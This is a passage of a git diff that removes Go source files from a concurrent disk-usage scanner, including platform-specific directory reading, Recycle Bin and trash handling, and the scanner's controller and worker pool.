b/internal/platform/ops_other.go deleted file mode 100644 index 02cc8e1..0000000 --- a/internal/platform/ops_other.go +++ /dev/null @@ -1,24 +0,0 @@ -//go:build !linux && !darwin && !windows - -package platform - -import ( - "errors" - "os" -) - -// TrashName is the user-facing name of the trash. -const TrashName = "trash" - -// Reveal is unsupported on this platform. -func Reveal(string) error { return errors.New("not supported on this platform") } - -// Trash is unsupported on this platform. -func Trash(string, Expect) error { return errors.New("trash not supported on this platform") } - -// Headless reports whether there is no graphical session (no X or Wayland -// display), so there is no file manager to open and no desktop trash anyone -// will empty. -func Headless() bool { - return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == "" -} diff --git a/internal/platform/ops_windows.go b/internal/platform/ops_windows.go deleted file mode 100644 index 64d2344..0000000 --- a/internal/platform/ops_windows.go +++ /dev/null @@ -1,78 +0,0 @@ -package platform - -import ( - "errors" - "strconv" - "syscall" - "unsafe" -) - -// TrashName is the user-facing name of the trash. -const TrashName = "Recycle Bin" - -// Reveal selects the item in Explorer. -func Reveal(path string) error { - if err := checkAbs(path); err != nil { - return err - } - return startDetached("explorer.exe", "/select,", path) -} - -var ( - shell32 = syscall.NewLazyDLL("shell32.dll") - procSHFileOpertn = shell32.NewProc("SHFileOperationW") -) - -// shFileOpStruct mirrors SHFILEOPSTRUCTW (64-bit natural alignment). -type shFileOpStruct struct { - hwnd uintptr - wFunc uint32 - pFrom *uint16 - pTo *uint16 - fFlags uint16 - fAnyOperationsAborted int32 - hNameMappings uintptr - lpszProgressTitle *uint16 -} - -const ( - foDelete = 0x3 - fofSilent = 0x4 - fofNoConfirmation = 0x10 - fofAllowUndo = 0x40 - fofNoErrorUI = 0x400 - fofNoConfirmMkdir = 0x200 -) - -// Trash moves path to the Recycle Bin via SHFileOperationW with -// FOF_ALLOWUNDO. It never deletes permanently. want is not checked here: -// Windows exposes no owner or inode identity through the scan. -func Trash(path string, _ Expect) error { - if err := checkAbs(path); err != nil { - return err - } - if unsafe.Sizeof(uintptr(0)) != 8 { - return errors.New("recycle bin support requires a 64-bit build") - } - u, err := syscall.UTF16FromString(path) - if err != nil { - return err - } - u = append(u, 0) // double NUL terminated list - op := shFileOpStruct{wFunc: foDelete, pFrom: &u[0], - fFlags: fofAllowUndo | fofNoConfirmation | fofSilent | fofNoErrorUI | fofNoConfirmMkdir} - r, _, _ := procSHFileOpertn.Call(uintptr(unsafe.Pointer(&op))) - if r != 0 { - return errors.New("SHFileOperation failed: code " + strconv.Itoa(int(r))) - } - if op.fAnyOperationsAborted != 0 { - return errors.New("operation aborted") - } - return nil -} - -// Headless is always false: Windows always has Explorer and the Recycle Bin. -func Headless() bool { return false } - -// Delete is not offered on Windows; items go to the Recycle Bin. -func Delete(string, Expect) error { return errors.New("permanent delete not supported on Windows") } diff --git a/internal/platform/platform.go b/internal/platform/platform.go deleted file mode 100644 index 6e59396..0000000 --- a/internal/platform/platform.go +++ /dev/null @@ -1,151 +0,0 @@ -// Package platform hides OS-specific filesystem metadata behind a small -// common API. Files are split by build tag; nothing else in the program -// switches on GOOS. -package platform - -import ( - "errors" - "io" - "io/fs" - "os" - "os/user" - "strconv" - "sync" -) - -// Meta is the metadata of one directory entry. -type Meta struct { - Name string - Mode fs.FileMode - Size int64 - Alloc int64 - AllocKnown bool - MTime int64 // unix nanoseconds - BTime int64 // birth time, 0 if unknown - UID, GID uint32 - Nlink uint32 - Dev, Ino uint64 - HasIno bool // Dev/Ino are meaningful - Err error // stat failed; only Name is valid -} - -// ChunkFunc receives successive batches of entries. The slice is owned by -// the callee. Returning an error stops the read. -type ChunkFunc func([]Meta) error - -// Lstat returns metadata for path without following a final symlink. -func Lstat(path string) (Meta, error) { return statPath(path, false) } - -// Stat returns metadata for path, following symlinks. -func Stat(path string) (Meta, error) { return statPath(path, true) } - -var ( - nameMu sync.Mutex - userNames = map[uint32]string{} - groupNames = map[uint32]string{} -) - -// UserName resolves a uid to a name (cached; falls back to the number). -func UserName(uid uint32) string { - return lookupName(userNames, uid, func(s string) (string, error) { - u, err := user.LookupId(s) - if err != nil { - return "", err - } - return u.Username, nil - }) -} - -// GroupName resolves a gid to a name (cached; falls back to the number). -func GroupName(gid uint32) string { - return lookupName(groupNames, gid, func(s string) (string, error) { - g, err := user.LookupGroupId(s) - if err != nil { - return "", err - } - return g.Name, nil - }) -} - -func lookupName(cache map[uint32]string, id uint32, look func(string) (string, error)) string { - nameMu.Lock() - defer nameMu.Unlock() - if n, ok := cache[id]; ok { - return n - } - s := strconv.FormatUint(uint64(id), 10) - if n, err := look(s); err == nil { - s = n - } - cache[id] = s - return s -} - -// fromFileInfo fills the portable fields of Meta. -func fromFileInfo(fi fs.FileInfo) Meta { - return Meta{ - Name: fi.Name(), - Mode: fi.Mode(), - Size: fi.Size(), - Alloc: fi.Size(), - MTime: fi.ModTime().UnixNano(), - Nlink: 1, - } -} - -// readDirGeneric is the portable fallback: os.ReadDir in chunks plus Lstat -// per entry by path. -func readDirGeneric(path string, chunk int, fn ChunkFunc, stat func(string) (Meta, error)) error { - f, err := os.Open(path) - if err != nil { - return err - } - defer f.Close() - for { - des, err := f.ReadDir(chunk) - if len(des) > 0 { - out := make([]Meta, len(des)) - for i, de := range des { - m, serr := stat(joinPath(path, de.Name())) - if serr != nil { - m = Meta{Err: serr} - } - m.Name = de.Name() - out[i] = m - } - if ferr := fn(out); ferr != nil { - return ferr - } - } - if err != nil { - if errors.Is(err, io.EOF) { - return nil - } - return err - } - } -} - -func joinPath(dir, name string) string { - if len(dir) > 0 && os.IsPathSeparator(dir[len(dir)-1]) { - return dir + name - } - return dir + string(os.PathSeparator) + name -} - -// JoinPath joins a directory and an entry name without cleaning. -func JoinPath(dir, name string) string { return joinPath(dir, name) } - -func baseName(path string) string { - i := len(path) - 1 - for i > 0 && os.IsPathSeparator(path[i]) { - i-- - } - path = path[:i+1] - for j := len(path) - 1; j >= 0; j-- { - if os.IsPathSeparator(path[j]) { - return path[j+1:] - } - } - return path -} diff --git a/internal/platform/readdir_bsd.go b/internal/platform/readdir_bsd.go deleted file mode 100644 index f221031..0000000 --- a/internal/platform/readdir_bsd.go +++ /dev/null @@ -1,82 +0,0 @@ -//go:build darwin || freebsd - -package platform - -import ( - "errors" - "io" - "os" - - "golang.org/x/sys/unix" -) - -// ReadDir streams the entries of a directory in chunks, stat-ing each entry -// relative to the directory fd. -func ReadDir(path string, chunk int, fn ChunkFunc) error { - fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0) - if err != nil { - return &os.PathError{Op: "open", Path: path, Err: err} - } - f := os.NewFile(uintptr(fd), path) - defer f.Close() - for { - des, err := f.ReadDir(chunk) - if len(des) > 0 { - out := make([]Meta, len(des)) - for i, de := range des { - var st unix.Stat_t - if serr := unix.Fstatat(fd, de.Name(), &st, unix.AT_SYMLINK_NOFOLLOW); serr != nil { - out[i] = Meta{Name: de.Name(), Err: &os.PathError{Op: "stat", Path: de.Name(), Err: serr}} - continue - } - out[i] = fromStat(&st) - out[i].Name = de.Name() - } - if ferr := fn(out); ferr != nil { - return ferr - } - } - if err != nil { - if errors.Is(err, io.EOF) { - return nil - } - return err - } - } -} - -func fromStat(st *unix.Stat_t) Meta { - return Meta{ - Mode: modeFromUnix(uint32(st.Mode)), - Size: st.Size, - Alloc: st.Blocks * 512, - AllocKnown: true, - MTime: st.Mtim.Nano(), - BTime: st.Btim.Nano(), - UID: st.Uid, - GID: st.Gid, - Nlink: uint32(st.Nlink), - Dev: uint64(st.Dev), - Ino: uint64(st.Ino), - HasIno: true, - } -} - -func statPath(path string, follow bool) (Meta, error) { - var st unix.Stat_t - var err error - if follow { - err = unix.Stat(path, &st) - } else { - err = unix.Lstat(path, &st) - } - if err != nil { - return Meta{}, &os.PathError{Op: "stat", Path: path, Err: err} - } - m := fromStat(&st) - m.Name = baseName(path) - return m, nil -} - -// IsVirtualFS is Linux-specific; elsewhere nothing is skipped. -func IsVirtualFS(string) bool { return false } diff --git a/internal/platform/readdir_linux.go b/internal/platform/readdir_linux.go deleted file mode 100644 index 167f49e..0000000 --- a/internal/platform/readdir_linux.go +++ /dev/null @@ -1,138 +0,0 @@ -package platform - -import ( - "errors" - "io" - "os" - "sync/atomic" - - "golang.org/x/sys/unix" -) - -// noStatx is set if the kernel lacks statx (pre-4.11); we fall back to fstatat. -var noStatx atomic.Bool - -const statxMask = unix.STATX_BASIC_STATS | unix.STATX_BTIME - -// ReadDir streams the entries of a directory in chunks, stat-ing each entry -// relative to the directory fd (no repeated path resolution). -func ReadDir(path string, chunk int, fn ChunkFunc) error { - fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0) - if err != nil { - return &os.PathError{Op: "open", Path: path, Err: err} - } - f := os.NewFile(uintptr(fd), path) - defer f.Close() - for { - des, err := f.ReadDir(chunk) - if len(des) > 0 { - out := make([]Meta, len(des)) - for i, de := range des { - m, serr := statAt(fd, de.Name(), unix.AT_SYMLINK_NOFOLLOW) - if serr != nil { - m = Meta{Err: &os.PathError{Op: "stat", Path: de.Name(), Err: serr}} - } - m.Name = de.Name() - out[i] = m - } - if ferr := fn(out); ferr != nil { - return ferr - } - } - if err != nil { - if errors.Is(err, io.EOF) { - return nil - } - return err - } - } -} - -func statAt(dirfd int, name string, flags int) (Meta, error) { - if !noStatx.Load() { - var st unix.Statx_t - err := unix.Statx(dirfd, name, flags|unix.AT_STATX_DONT_SYNC, statxMask, &st) - if err == nil { - return fromStatx(&st), nil - } - if !errors.Is(err, unix.ENOSYS) { - return Meta{}, err - } - noStatx.Store(true) - } - var st unix.Stat_t - if err := unix.Fstatat(dirfd, name, &st, flags); err != nil { - return Meta{}, err - } - return Meta{ - Mode: modeFromUnix(st.Mode), Size: st.Size, Alloc: st.Blocks * 512, AllocKnown: true, - MTime: st.Mtim.Nano(), UID: st.Uid, GID: st.Gid, Nlink: uint32(st.Nlink), - Dev: st.Dev, Ino: st.Ino, HasIno: true, - }, nil -} - -func fromStatx(st *unix.Statx_t) Meta { - m := Meta{ - Mode: modeFromUnix(uint32(st.Mode)), - Size: int64(st.Size), - Alloc: int64(st.Blocks) * 512, - AllocKnown: true, - MTime: st.Mtime.Sec*1e9 + int64(st.Mtime.Nsec), - UID: st.Uid, - GID: st.Gid, - Nlink: st.Nlink, - Dev: unix.Mkdev(st.Dev_major, st.Dev_minor), - Ino: st.Ino, - HasIno: true, - } - if st.Mask&unix.STATX_BTIME != 0 { - m.BTime = st.Btime.Sec*1e9 + int64(st.Btime.Nsec) - } - return m -} - -func statPath(path string, follow bool) (Meta, error) { - flags := unix.AT_SYMLINK_NOFOLLOW - if follow { - flags = 0 - } - m, err := statAt(unix.AT_FDCWD, path, flags) - if err != nil { - return Meta{}, &os.PathError{Op: "stat", Path: path, Err: err} - } - m.Name = baseName(path) - return m, nil -} - -// Linux pseudo-filesystems whose contents are not disk usage. -var virtualFS = map[int64]bool{ - 0x9fa0: true, // proc - 0x62656572: true, // sysfs - 0x1cd1: true, // devpts - 0x27e0eb: true, // cgroup - 0x63677270: true, // cgroup2 - 0x64626720: true, // debugfs - 0x74726163: true, // tracefs - 0x73636673: true, // securityfs - 0x6165676c: true, // pstore - 0xcafe4a11: true, // bpf - 0x62656570: true, // configfs - 0x65735543: true, // fusectl - 0x19800202: true, // mqueue - 0xde5e81e4: true, // efivarfs - 0x42494e4d: true, // binfmt_misc - 0xf97cff8c: true, // selinuxfs - 0x958458f6: true, // hugetlbfs - 0x6e736673: true, // nsfs - 0x50495045: true, // pipefs -} - -// IsVirtualFS reports whether path is the root of a pseudo filesystem -// (proc, sysfs, cgroup, …) that should not be scanned as disk usage. -func IsVirtualFS(path string) bool { - var st unix.Statfs_t - if err := unix.Statfs(path, &st); err != nil { - return false - } - return virtualFS[int64(st.Type)] -} diff --git a/internal/platform/readdir_other.go b/internal/platform/readdir_other.go deleted file mode 100644 index 025bcd7..0000000 --- a/internal/platform/readdir_other.go +++ /dev/null @@ -1,31 +0,0 @@ -//go:build !linux && !darwin && !freebsd - -package platform - -import "os" - -// ReadDir streams the entries of a directory using the portable os API. -// Allocated size, inode identity and link counts are not available here. -func ReadDir(path string, chunk int, fn ChunkFunc) error { - return readDirGeneric(path, chunk, fn, func(p string) (Meta, error) { return statPath(p, false) }) -} - -func statPath(path string, follow bool) (Meta, error) { - var fi os.FileInfo - var err error - if follow { - fi, err = os.Stat(path) - } else { - fi, err = os.Lstat(path) - } - if err != nil { - return Meta{}, err - } - m := fromFileInfo(fi) - m.Name = baseName(path) - fillSys(&m, fi) - return m, nil -} - -// IsVirtualFS is Linux-specific; elsewhere nothing is skipped. -func IsVirtualFS(string) bool { return false } diff --git a/internal/platform/sys_nowindows.go b/internal/platform/sys_nowindows.go deleted file mode 100644 index 4973a88..0000000 --- a/internal/platform/sys_nowindows.go +++ /dev/null @@ -1,7 +0,0 @@ -//go:build !windows && !linux && !darwin && !freebsd - -package platform - -import "os" - -func fillSys(*Meta, os.FileInfo) {} diff --git a/internal/platform/sys_windows.go b/internal/platform/sys_windows.go deleted file mode 100644 index c866bec..0000000 --- a/internal/platform/sys_windows.go +++ /dev/null @@ -1,12 +0,0 @@ -package platform - -import ( - "os" - "syscall" -) - -func fillSys(m *Meta, fi os.FileInfo) { - if d, ok := fi.Sys().(*syscall.Win32FileAttributeData); ok { - m.BTime = d.CreationTime.Nanoseconds() - } -} diff --git a/internal/platform/trash_unix.go b/internal/platform/trash_unix.go deleted file mode 100644 index 078e815..0000000 --- a/internal/platform/trash_unix.go +++ /dev/null @@ -1,59 +0,0 @@ -//go:build linux || darwin - -package platform - -import ( - "errors" - "io/fs" - "os" - "path/filepath" - "syscall" - - "golang.org/x/sys/unix" -) - -// renameChecked moves path to dst if it still matches want. The parent -// directory is opened once and both the check and the rename are relative to -// that descriptor, so a parent swapped for a symlink since the scan (or -// between check and rename) cannot redirect the move to another user's file. -func renameChecked(path, dst string, want Expect) error { - dir, base := filepath.Dir(path), filepath.Base(path) - dfd, err := unix.Open(dir, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC, 0) - if err != nil { - return &os.PathError{Op: "open", Path: dir, Err: err} - } - defer unix.Close(dfd) - var st unix.Stat_t - if err := unix.Fstatat(dfd, base, &st, unix.AT_SYMLINK_NOFOLLOW); err != nil { - return &os.PathError{Op: "stat", Path: path, Err: err} - } - if st.Uid != want.UID || modeFromUnix(uint32(st.Mode))&fs.ModeType != want.Mode&fs.ModeType { - return errors.New("item changed since the scan (owner or type differs); rescan first") - } - return unix.Renameat(dfd, base, unix.AT_FDCWD, dst) -} - -// ensurePrivateDir creates dir (mode 0700) if missing; an existing entry must -// be a real directory (not a symlink) owned by us. With strict (trash on a -// shared filesystem) it must also be inaccessible to others, as the -// freedesktop.org spec requires; home trash directories made by desktop -// environments are sometimes 0755, which is harmless there. -func ensurePrivateDir(dir string, strict bool) error { - if err := os.Mkdir(dir, 0o700); err != nil && !errors.Is(err, os.ErrExist) { - return err - } - fi, err := os.Lstat(dir) - if err != nil { - return err - } - st := fi.Sys().(*syscall.Stat_t) - switch { - case !fi.IsDir(): - return errors.New("not a directory (symlink?)") - case int(st.Uid) != os.Getuid(): - return errors.New("owned by another user") - case strict && fi.Mode().Perm()&0o077 != 0: - return errors.New("accessible to other users") - } - return nil -} diff --git a/internal/scan/mem_test.go b/internal/scan/mem_test.go deleted file mode 100644 index 3ecef46..0000000 --- a/internal/scan/mem_test.go +++ /dev/null @@ -1,35 +0,0 @@ -package scan - -import ( - "context" - "os" - "runtime" - "testing" - "time" -) - -// TestMemoryPerNode reports heap use per inventory node for a real tree. -// Set MAPSIZE_MEM_ROOT to a directory to run it. -func TestMemoryPerNode(t *testing.T) { - root := os.Getenv("MAPSIZE_MEM_ROOT") - if root == "" { - t.Skip("set MAPSIZE_MEM_ROOT") - } - var before, after runtime.MemStats - runtime.GC() - runtime.ReadMemStats(&before) - start := time.Now() - s, err := Start(context.Background(), root, Options{}) - if err != nil { - t.Fatal(err) - } - <-s.Done() - el := time.Since(start) - runtime.GC() - runtime.ReadMemStats(&after) - n := s.Tree.Len() - heap := after.HeapAlloc - before.HeapAlloc - t.Logf("nodes=%d scan=%s heap=%.1f MiB (%.0f bytes/node)", n, el.Round(time.Millisecond), - float64(heap)/(1<<20), float64(heap)/float64(n)) - runtime.KeepAlive(s) -} diff --git a/internal/scan/panic.go b/internal/scan/panic.go deleted file mode 100644 index f1e4796..0000000 --- a/internal/scan/panic.go +++ /dev/null @@ -1,14 +0,0 @@ -package scan - -import "runtime/debug" - -// OnPanic is called if a scanner goroutine panics. The default re-panics -// (crashing the process); the TUI replaces it so it can restore the terminal -// before reporting. Programmer bugs are never silently swallowed. -var OnPanic = func(v any, stack []byte) { panic(v) } - -func guard() { - if v := recover(); v != nil { - OnPanic(v, debug.Stack()) - } -} diff --git a/internal/scan/scan.go b/internal/scan/scan.go deleted file mode 100644 index 876ec02..0000000 --- a/internal/scan/scan.go +++ /dev/null @@ -1,542 +0,0 @@ -// Package scan implements the bounded concurrent filesystem scanner. -// -// Architecture (see ARCHITECTURE.md): a single controller goroutine owns the -// inventory.Tree and a FIFO of pending directories. A fixed pool of workers -// performs directory I/O and sends result chunks back. The controller's -// select loop offers jobs and accepts results at the same time, so bounded -// channels can never deadlock: workers never enqueue work themselves. -package scan - -import ( - "context" - "errors" - "fmt" - "log/slog" - "os" - "path/filepath" - "runtime" - "strings" - "sync" - "sync/atomic" - "time" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" -) - -// FollowMode controls symlink traversal. -type FollowMode int - -const ( - FollowNone FollowMode = iota - FollowSameFS - FollowAll -) - -func (f FollowMode) String() string { - return [...]string{"none", "same-filesystem", "all"}[f] -} - -// ParseFollow parses a --follow-symlinks value. -func ParseFollow(s string) (FollowMode, error) { - switch s { - case "none", "": - return FollowNone, nil - case "same-filesystem", "same-fs": - return FollowSameFS, nil - case "all": - return FollowAll, nil - } - return 0, fmt.Errorf("invalid --follow-symlinks %q (want none, same-filesystem or all)", s) -} - -// Workers resolves a concurrency mode name or number to a worker count. -func Workers(mode string) (int, error) { - cpu := runtime.NumCPU() - switch mode { - case "conservative": - return 2, nil - case "balanced", "": - return min(8, max(2, 2*cpu)), nil - case "aggressive": - return min(64, max(4, 8*cpu)), nil - } - var n int - if _, err := fmt.Sscan(mode, &n); err != nil || n < 1 || n > 1024 { - return 0, fmt.Errorf("invalid workers %q (conservative, balanced, aggressive or 1-1024)", mode) - } - return n, nil -} - -// Options configures a scan. -type Options struct { - Workers int - Follow FollowMode - OneFileSystem bool - Excludes []string - - // Tuning knobs, mostly for tests. Zero means default. - ChunkSize int // entries per result chunk - JobBuffer int // capacity of the job channel - ResultBuf int // capacity of the result channel - ApplyBatch int // max results applied per write-lock hold -} - -func (o *Options) defaults() { - if o.Workers <= 0 { - o.Workers, _ = Workers("balanced") - } - if o.ChunkSize <= 0 { - o.ChunkSize = 1024 - } - if o.JobBuffer <= 0 { - o.JobBuffer = o.Workers * 2 - } - if o.ResultBuf <= 0 { - o.ResultBuf = o.Workers * 4 - } - if o.ApplyBatch <= 0 { - o.ApplyBatch = 64 - } -} - -// Progress is a cheap, lock-free view of scan activity. -type Progress struct { - Entries int64 - Pending int64 // directories discovered but not yet dispatched - Inflight int64 // directories being read - Workers int -} - -// Scanner runs one scan. Tree is safe to read under Tree.RLock while the -// scan runs. -type Scanner struct { - Tree *inventory.Tree - opts Options - - entries, pending, inflight atomic.Int64 - done chan struct{} -} - -type job struct { - id inventory.NodeID - path string - dev uint64 - // hints derived once per directory - inCache, inLog bool -} - -type result struct { - job *job - entries []platform.Meta - final bool - err error -} - -type inodeKey struct{ dev, ino uint64 } - -// Start stats root, creates the tree and begins scanning in the background. -func Start(ctx context.Context, root string, opts Options) (*Scanner, error) { - opts.defaults() - // Path-style exclusions are matched against absolute paths. - excl := make([]string, len(opts.Excludes)) - for i, p := range opts.Excludes { - excl[i] = p - if strings.ContainsAny(p, `/\`) { - if a, err := filepath.Abs(p); err == nil { - excl[i] = a - } - } - } - opts.Excludes = excl - abs, err := filepath.Abs(root) - if err != nil { - return nil, err - } - m, err := platform.Stat(abs) - if err != nil { - return nil, err - } - kind := kindOf(m) - t := inventory.New(abs, kind) - t.Stats.Workers = opts.Workers - t.Stats.Excludes = opts.Excludes - t.Stats.OneFileSystem = opts.OneFileSystem - t.Stats.Follow = opts.Follow.String() - r := t.Node(t.Root()) - setMeta(r, m) - r.TotSize, r.TotAlloc = m.Size, m.Alloc - s := &Scanner{Tree: t, opts: opts, done: make(chan struct{})} - if kind != inventory.KindDir { - t.Stats.Files = 1 - t.Stats.Complete = true - t.Stats.End = time.Now() - close(s.done) - return s, nil - } - t.Stats.Dirs = 1 - c := &controller{s: s, t: t, opts: opts, links: map[inodeKey]struct{}{}} - // Loop detection needs inode identity; without it (Windows and other - // portable-fallback platforms) symlinks are not followed at all. - if opts.Follow != FollowNone && !m.HasIno { - c.opts.Follow = FollowNone - t.Stats.Follow = "none (no inode identity on this platform)" - } - if c.opts.Follow != FollowNone { - c.visited = map[inodeKey]struct{}{{m.Dev, m.Ino}: {}} - } - c.rootDev = m.Dev - c.pending = []pendingDir{{id: t.Root(), dev: m.Dev}} - s.pending.Store(1) - go c.run(ctx) - return s, nil -} - -// Done is closed when the scan has finished or been cancelled and drained. -func (s *Scanner) Done() <-chan struct{} { return s.done } - -// Progress returns live counters without locking the tree. -func (s *Scanner) Progress() Progress { - return Progress{Entries: s.entries.Load(), Pending: s.pending.Load(), Inflight: s.inflight.Load(), Workers: s.opts.Workers} -} - -// maxEntriesPerLock bounds how long the controller holds the write lock, so -// the UI's read lock is never starved for more than a few milliseconds. -const maxEntriesPerLock = 8192 - -type pendingDir struct { - id inventory.NodeID - dev uint64 -} - -type controller struct { - s *Scanner - t *inventory.Tree - opts Options - rootDev uint64 - pending []pendingDir // FIFO; head index advances, compacted occasionally - head int - links map[inodeKey]struct{} - visited map[inodeKey]struct{} // only when following symlinks -} - -func (c *controller) run(ctx context.Context) { - defer guard() - defer close(c.s.done) - jobs := make(chan *job, c.opts.JobBuffer) - results := make(chan result, c.opts.ResultBuf) - var wg sync.WaitGroup - for range c.opts.Workers { - wg.Add(1) - go func() { - defer wg.Done() - defer guard() - worker(ctx, jobs, results, c.opts.ChunkSize) - }() - } - - inflight := 0 - ctxDone := ctx.Done() - cancelled := false - var next *job - batch := make([]result, 0, c.opts.ApplyBatch) - for { - if next == nil && !cancelled && c.head < len(c.pending) { - next = c.makeJob(c.pending[c.head]) - } - if inflight == 0 && next == nil { - break - } - var jobCh chan<- *job - if next != nil { - jobCh = jobs - } - select { - case jobCh <- next: - next = nil - c.head++ - if c.head > 4096 && c.head*2 > len(c.pending) { - c.pending = append(c.pending[:0], c.pending[c.head:]...) - c.head = 0 - } - inflight++ - c.s.inflight.Store(int64(inflight)) - c.s.pending.Store(int64(len(c.pending) - c.head)) - case r := <-results: - batch = append(batch[:0], r) - n := len(r.entries) - drain: - for len(batch) < cap(batch) && n < maxEntriesPerLock { - select { - case r := <-results: - batch = append(batch, r) - n += len(r.entries) - default: - break drain - } - } - c.t.Lock() - for i := range batch { - if c.apply(&batch[i]) { - inflight-- - } - batch[i] = result{} - } - c.t.Unlock() - c.s.inflight.Store(int64(inflight)) - c.s.pending.Store(int64(len(c.pending) - c.head)) - case <-ctxDone: - cancelled = true - ctxDone = nil - next = nil - } - } - close(jobs) - wg.Wait() - - c.t.Lock() - st := &c.t.Stats - if cancelled { - st.Cancelled = true - st.Unscanned += int64(len(c.pending) - c.head) - for _, p := range c.pending[c.head:] { - c.t.Node(p.id).Flags |= inventory.FlagIncomplete - } - } - st.Complete = true - st.End = time.Now() - c.t.Unlock() - c.s.pending.Store(0) - c.s.inflight.Store(0) -} - -func (c *controller) makeJob(p pendingDir) *job { - path := c.t.Path(p.id) - j := &job{id: p.id, path: path, dev: p.dev} - j.inCache, j.inLog = inventory.PathHints(path) - return j -} - -func worker(ctx context.Context, jobs <-chan *job, results chan<- result, chunk int) { - for j := range jobs { - var err error - if err = ctx.Err(); err == nil { - err = platform.ReadDir(j.path, chunk, func(ms []platform.Meta) error { - if err := ctx.Err(); err != nil { - return err - } - results <- result{job: j, entries: ms} - return nil - }) - } - results <- result{job: j, final: true, err: err} - } -} - -func kindOf(m platform.Meta) inventory.Kind { - switch { - case m.Mode.IsDir(): - return inventory.KindDir - case m.Mode.IsRegular(): - return inventory.KindFile - case m.Mode&os.ModeSymlink != 0: - return inventory.KindSymlink - } - return inventory.KindOther -} - -func setMeta(n *inventory.Node, m platform.Meta) { - n.Size, n.Alloc = m.Size, m.Alloc - n.MTime = m.MTime - n.Mode = uint32(m.Mode) - n.UID, n.GID = m.UID, m.GID - n.Nlink = m.Nlink - if !m.AllocKnown { - n.Flags |= inventory.FlagAllocUnknown - } -} - -// apply merges one result into the tree. It reports whether the result -// completed its directory. Called with the tree write-locked. -func (c *controller) apply(r *result) bool { - t := c.t - j := r.job - dir := j.id - var d inventory.Delta - c.s.entries.Add(int64(len(r.entries))) - for _, m := range r.entries { - c.addEntry(j, m, &d) - } - if r.final { - dn := t.Node(dir) - switch { - case r.err == nil: - dn.Flags |= inventory.FlagScanned - case errors.Is(r.err, context.Canceled) || errors.Is(r.err, context.DeadlineExceeded): - dn.Flags |= inventory.FlagIncomplete - t.Stats.Unscanned++ - default: - slog.Debug("read directory failed", "path", j.path, "err", r.err) - dn.Flags |= inventory.FlagError | inventory.FlagIncomplete - t.Stats.AddError(inventory.ErrorRecord{Node: dir, Kind: inventory.Classify(r.err), Msg: errMsg(r.err)}) - d.Errors++ - } - } - if d != (inventory.Delta{}) { - t.Propagate(dir, d) - } - return r.final -} - -func errMsg(err error) string { - var pe *os.PathError - if errors.As(err, &pe) { - return pe.Op + ": " + pe.Err.Error() - } - return err.Error() -} - -func (c *controller) excluded(path, name string) bool { - for _, p := range c.opts.Excludes { - if strings.ContainsAny(p, `/\`) { - pp := filepath.Clean(p) - if path == pp || strings.HasPrefix(path, pp+string(os.PathSeparator)) { - return true - } - if ok, _ := filepath.Match(pp, path); ok { - return true - } - } else if ok, _ := filepath.Match(p, name); ok { - return true - } - } - return false -} - -func (c *controller) addEntry(j *job, m platform.Meta, d *inventory.Delta) { - t := c.t - st := &t.Stats - if m.Err != nil { - k := inventory.Classify(m.Err) - if k == inventory.ErrVanished { - st.AddError(inventory.ErrorRecord{Node: j.id, Name: m.Name, Kind: k, Msg: "vanished between listing and stat"}) - d.Errors++ - return - } - id := t.Add(j.id, m.Name, inventory.KindOther) - n := t.Node(id) - n.Flags |= inventory.FlagError - n.Errors = 1 - st.AddError(inventory.ErrorRecord{Node: id, Kind: k, Msg: errMsg(m.Err)}) - d.Errors++ - d.Files++ - st.Others++ - return - } - var path string - if len(c.opts.Excludes) > 0 { - path = platform.JoinPath(j.path, m.Name) - if c.excluded(path, m.Name) { - st.Excluded++ - return - } - } - kind := kindOf(m) - var target platform.Meta - followed, broken := false, false - if kind == inventory.KindSymlink { - if path == "" { - path = platform.JoinPath(j.path, m.Name) - } - tm, err := platform.Stat(path) - switch { - case err != nil: - st.BrokenLinks++ - broken = true - case tm.Mode.IsDir() && tm.HasIno && (c.opts.Follow == FollowAll || c.opts.Follow == FollowSameFS && tm.Dev == j.dev): - target, followed = tm, true - kind = inventory.KindDir - } - } - - id := t.Add(j.id, m.Name, kind) - n := t.Node(id) - setMeta(n, m) - if broken { - n.Flags |= inventory.FlagBrokenLink - } - - switch kind { - case inventory.KindDir: - st.Dirs++ - d.Dirs++ - d.Size += n.Size - d.Alloc += n.Alloc - n.TotSize, n.TotAlloc = n.Size, n.Alloc - dev := m.Dev - if followed { - n.Flags |= inventory.FlagFollowed - dev = target.Dev - } - if c.visited != nil { - key := inodeKey{m.Dev, m.Ino} - if followed { - key = inodeKey{target.Dev, target.Ino} - } - if _, seen := c.visited[key]; seen { - n.Flags |= inventory.FlagLoop - st.LoopsSkipped++ - return - } - c.visited[key] = struct{}{} - } - if m.HasIno && dev != j.dev { - n.Flags |= inventory.FlagMountPoint - if c.opts.OneFileSystem { - n.Flags |= inventory.FlagSkippedFS - st.SkippedMounts++ - return - } - if path == "" { - path = platform.JoinPath(j.path, m.Name) - } - if platform.IsVirtualFS(path) { - n.Flags |= inventory.FlagVirtualFS - st.VirtualSkipped++ - return - } - } - c.pending = append(c.pending, pendingDir{id: id, dev: dev}) - case inventory.KindFile: - st.Files++ - d.Files++ - if m.Nlink > 1 && m.HasIno { - n.Flags |= inventory.FlagHardlinked - key := inodeKey{m.Dev, m.Ino} - if _, seen := c.links[key]; seen { - n.Flags |= inventory.FlagHardlinkDup - st.HardlinkDups++ - return - } - c.links[key] = struct{}{} - } - if m.AllocKnown && m.Alloc < m.Size && m.Size-m.Alloc >= 4096 { - n.Flags |= inventory.FlagSparse - } - n.Cat = inventory.CategoryFor(t.ExtName(n), j.inCache, j.inLog) - n.TotSize, n.TotAlloc = n.Size, n.Alloc - d.Size += n.Size - d.Alloc += n.Alloc - d.Cat[n.Cat] += n.Alloc - default: - if kind == inventory.KindSymlink { - st.Symlinks++ - } else { - st.Others++ - } - d.Files++ - n.TotSize, n.TotAlloc = n.Size, n.Alloc - d.Size += n.Size - d.Alloc += n.Alloc - } -} diff --git a/internal/scan/scan_test.go b/internal/scan/scan_test.go deleted file mode 100644 index a5f0440..0000000 --- a/internal/scan/scan_test.go +++ /dev/null @@ -1,288 +0,0 @@ -package scan - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "testing" - "time" - - "github.com/andydixon/mapsize/internal/inventory" -) - 